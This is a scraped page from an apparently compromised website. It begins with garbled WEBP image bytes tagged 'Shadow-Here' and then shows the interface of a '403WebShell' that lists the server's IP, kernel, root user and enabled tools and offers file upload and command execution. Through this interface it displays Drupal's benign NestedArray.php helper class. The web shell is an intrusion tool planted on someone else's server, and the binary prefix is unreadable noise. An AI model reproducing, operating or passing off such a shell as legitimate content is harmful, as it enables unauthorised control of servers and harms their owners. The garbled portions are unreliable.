RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/core/lib/Drupal/Component/Utility/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/core/lib/Drupal/Component/Utility/NestedArray.php
<?php

namespace Drupal\Component\Utility;

/**
 * Provides helpers to perform operations on nested arrays and array keys of variable depth.
 *
 * @ingroup utility
 */
class NestedArray {

  /**
   * Retrieves a value from a nested array with variable depth.
   *
   * This helper function should be used when the depth of the array element
   * being retrieved may vary (that is, the number of parent keys is variable).
   * It is primarily used for form structures and renderable arrays.
   *
   * Without this helper function the only way to get a nested array value with
   * variable depth in one line would be using eval(), which should be avoided:
   * @code
   * // Do not do this! Avoid eval().
   * // May also throw a PHP notice, if the variable array keys do not exist.
   * eval('$value = $array[\'' . implode("']['", $parents) . "'];");
   * @endcode
   *
   * Instead, use this helper function:
   * @code
   * $value = NestedArray::getValue($form, $parents);
   * @endcode
   *
   * A return value of NULL is ambiguous, and can mean either that the requested
   * key does not exist, or that the actual value is NULL. If it is required to
   * know whether the nested array key actually exists, pass a third argument
   * that is altered by reference:
   * @code
   * $key_exists = NULL;
   * $value = NestedArray::getValue($form, $parents, $key_exists);
   * if ($key_exists) {
   *   // Do something with $value.
   * }
   * @endcode
   *
   * However if the number of array parent keys is static, the value should
   * always be retrieved directly rather than calling this function.
   * For instance:
   * @code
   * $value = $form['signature_settings']['signature'];
   * @endcode
   *
   * @param array $array
   *   The array from which to get the value.
   * @param array $parents
   *   An array of parent keys of the value, starting with the outermost key.
   * @param bool $key_exists
   *   (optional) If given, an already defined variable that is altered by
   *   reference.
   *
   * @return mixed
   *   The requested nested value. Possibly NULL if the value is NULL or not all
   *   nested parent keys exist. $key_exists is altered by reference and is a
   *   Boolean that indicates whether all nested parent keys exist (TRUE) or not
   *   (FALSE). This allows to distinguish between the two possibilities when
   *   NULL is returned.
   *
   * @see NestedArray::setValue()
   * @see NestedArray::unsetValue()
   */
  public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
    $ref = &$array;
    foreach ($parents as $parent) {
      if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) {
        $ref = &$ref[$parent];
      }
      else {
        $key_exists = FALSE;
        $null = NULL;
        return $null;
      }
    }
    $key_exists = TRUE;
    return $ref;
  }

  /**
   * Sets a value in a nested array with variable depth.
   *
   * This helper function should be used when the depth of the array element you
   * are changing may vary (that is, the number of parent keys is variable). It
   * is primarily used for form structures and renderable arrays.
   *
   * Example:
   * @code
   * // Assume you have a 'signature' element somewhere in a form. It might be:
   * $form['signature_settings']['signature'] = array(
   *   '#type' => 'text_format',
   *   '#title' => t('Signature'),
   * );
   * // Or, it might be further nested:
   * $form['signature_settings']['user']['signature'] = array(
   *   '#type' => 'text_format',
   *   '#title' => t('Signature'),
   * );
   * @endcode
   *
   * To deal with the situation, the code needs to figure out the route to the
   * element, given an array of parents that is either
   * @code array('signature_settings', 'signature') @endcode
   * in the first case or
   * @code array('signature_settings', 'user', 'signature') @endcode
   * in the second case.
   *
   * Without this helper function the only way to set the signature element in
   * one line would be using eval(), which should be avoided:
   * @code
   * // Do not do this! Avoid eval().
   * eval('$form[\'' . implode("']['", $parents) . '\'] = $element;');
   * @endcode
   *
   * Instead, use this helper function:
   * @code
   * NestedArray::setValue($form, $parents, $element);
   * @endcode
   *
   * However if the number of array parent keys is static, the value should
   * always be set directly rather than calling this function. For instance,
   * for the first example we could just do:
   * @code
   * $form['signature_settings']['signature'] = $element;
   * @endcode
   *
   * @param array $array
   *   A reference to the array to modify.
   * @param array $parents
   *   An array of parent keys, starting with the outermost key.
   * @param mixed $value
   *   The value to set.
   * @param bool $force
   *   (optional) If TRUE, the value is forced into the structure even if it
   *   requires the deletion of an already existing non-array parent value. If
   *   FALSE, PHP throws an error if trying to add into a value that is not an
   *   array. Defaults to FALSE.
   *
   * @see NestedArray::unsetValue()
   * @see NestedArray::getValue()
   */
  public static function setValue(array &$array, array $parents, $value, $force = FALSE) {
    $ref = &$array;
    foreach ($parents as $parent) {
      // PHP auto-creates container arrays and NULL entries without error if $ref
      // is NULL, but throws an error if $ref is set, but not an array.
      if ($force && isset($ref) && !is_array($ref)) {
        $ref = [];
      }
      $ref = &$ref[$parent];
    }
    $ref = $value;
  }

  /**
   * Unsets a value in a nested array with variable depth.
   *
   * This helper function should be used when the depth of the array element you
   * are changing may vary (that is, the number of parent keys is variable). It
   * is primarily used for form structures and renderable arrays.
   *
   * Example:
   * @code
   * // Assume you have a 'signature' element somewhere in a form. It might be:
   * $form['signature_settings']['signature'] = array(
   *   '#type' => 'text_format',
   *   '#title' => t('Signature'),
   * );
   * // Or, it might be further nested:
   * $form['signature_settings']['user']['signature'] = array(
   *   '#type' => 'text_format',
   *   '#title' => t('Signature'),
   * );
   * @endcode
   *
   * To deal with the situation, the code needs to figure out the route to the
   * element, given an array of parents that is either
   * @code array('signature_settings', 'signature') @endcode
   * in the first case or
   * @code array('signature_settings', 'user', 'signature') @endcode
   * in the second case.
   *
   * Without this helper function the only way to unset the signature element in
   * one line would be using eval(), which should be avoided:
   * @code
   * // Do not do this! Avoid eval().
   * eval('unset($form[\'' . implode("']['", $parents) . '\']);');
   * @endcode
   *
   * Instead, use this helper function:
   * @code
   * NestedArray::unsetValue($form, $parents, $element);
   * @endcode
   *
   * However if the number of array parent keys is static, the value should
   * always be set directly rather than calling this function. For instance, for
   * the first example we could just do:
   * @code
   * unset($form['signature_settings']['signature']);
   * @endcode
   *
   * @param array $array
   *   A reference to the array to modify.
   * @param array $parents
   *   An array of parent keys, starting with the outermost key and including
   *   the key to be unset.
   * @param bool $key_existed
   *   (optional) If given, an already defined variable that is altered by
   *   reference.
   *
   * @see NestedArray::setValue()
   * @see NestedArray::getValue()
   */
  public static function unsetValue(array &$array, array $parents, &$key_existed = NULL) {
    $unset_key = array_pop($parents);
    $ref = &self::getValue($array, $parents, $key_existed);
    if ($key_existed && is_array($ref) && (isset($ref[$unset_key]) || array_key_exists($unset_key, $ref))) {
      $key_existed = TRUE;
      unset($ref[$unset_key]);
    }
    else {
      $key_existed = FALSE;
    }
  }

  /**
   * Determines whether a nested array contains the requested keys.
   *
   * This helper function should be used when the depth of the array element to
   * be checked may vary (that is, the number of parent keys is variable). See
   * NestedArray::setValue() for details. It is primarily used for form
   * structures and renderable arrays.
   *
   * If it is required to also get the value of the checked nested key, use
   * NestedArray::getValue() instead.
   *
   * If the number of array parent keys is static, this helper function is
   * unnecessary and the following code can be used instead:
   * @code
   * $value_exists = isset($form['signature_settings']['signature']);
   * $key_exists = array_key_exists('signature', $form['signature_settings']);
   * @endcode
   *
   * @param array $array
   *   The array with the value to check for.
   * @param array $parents
   *   An array of parent keys of the value, starting with the outermost key.
   *
   * @return bool
   *   TRUE if all the parent keys exist, FALSE otherwise.
   *
   * @see NestedArray::getValue()
   */
  public static function keyExists(array $array, array $parents) {
    // Although this function is similar to PHP's array_key_exists(), its
    // arguments should be consistent with getValue().
    $key_exists = NULL;
    self::getValue($array, $parents, $key_exists);
    return $key_exists;
  }

  /**
   * Merges multiple arrays, recursively, and returns the merged array.
   *
   * This function is similar to PHP's array_merge_recursive() function, but it
   * handles non-array values differently. When merging values that are not both
   * arrays, the latter value replaces the former rather than merging with it.
   *
   * Example:
   * @code
   * $link_options_1 = array('fragment' => 'x', 'attributes' => array('title' => t('X'), 'class' => array('a', 'b')));
   * $link_options_2 = array('fragment' => 'y', 'attributes' => array('title' => t('Y'), 'class' => array('c', 'd')));
   *
   * // This results in array('fragment' => array('x', 'y'), 'attributes' => array('title' => array(t('X'), t('Y')), 'class' => array('a', 'b', 'c', 'd'))).
   * $incorrect = array_merge_recursive($link_options_1, $link_options_2);
   *
   * // This results in array('fragment' => 'y', 'attributes' => array('title' => t('Y'), 'class' => array('a', 'b', 'c', 'd'))).
   * $correct = NestedArray::mergeDeep($link_options_1, $link_options_2);
   * @endcode
   *
   * @param array ...
   *   Arrays to merge.
   *
   * @return array
   *   The merged array.
   *
   * @see NestedArray::mergeDeepArray()
   */
  public static function mergeDeep() {
    return self::mergeDeepArray(func_get_args());
  }

  /**
   * Merges multiple arrays, recursively, and returns the merged array.
   *
   * This function is equivalent to NestedArray::mergeDeep(), except the
   * input arrays are passed as a single array parameter rather than a variable
   * parameter list.
   *
   * The following are equivalent:
   * - NestedArray::mergeDeep($a, $b);
   * - NestedArray::mergeDeepArray(array($a, $b));
   *
   * The following are also equivalent:
   * - call_user_func_array('NestedArray::mergeDeep', $arrays_to_merge);
   * - NestedArray::mergeDeepArray($arrays_to_merge);
   *
   * @param array $arrays
   *   An arrays of arrays to merge.
   * @param bool $preserve_integer_keys
   *   (optional) If given, integer keys will be preserved and merged instead of
   *   appended. Defaults to FALSE.
   *
   * @return array
   *   The merged array.
   *
   * @see NestedArray::mergeDeep()
   */
  public static function mergeDeepArray(array $arrays, $preserve_integer_keys = FALSE) {
    $result = [];
    foreach ($arrays as $array) {
      foreach ($array as $key => $value) {
        // Renumber integer keys as array_merge_recursive() does unless
        // $preserve_integer_keys is set to TRUE. Note that PHP automatically
        // converts array keys that are integer strings (e.g., '1') to integers.
        if (is_int($key) && !$preserve_integer_keys) {
          $result[] = $value;
        }
        // Recurse when both values are arrays.
        elseif (isset($result[$key]) && is_array($result[$key]) && is_array($value)) {
          $result[$key] = self::mergeDeepArray([$result[$key], $value], $preserve_integer_keys);
        }
        // Otherwise, use the latter value, overriding any previous value.
        else {
          $result[$key] = $value;
        }
      }
    }
    return $result;
  }

  /**
   * Filters a nested array recursively.
   *
   * @param array $array
   *   The filtered nested array.
   * @param callable|null $callable
   *   The callable to apply for filtering.
   *
   * @return array
   *   The filtered array.
   */
  public static function filter(array $array, callable $callable = NULL) {
    $array = is_callable($callable) ? array_filter($array, $callable) : array_filter($array);
    foreach ($array as &$element) {
      if (is_array($element)) {
        $element = static::filter($element, $callable);
      }
    }

    return $array;
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit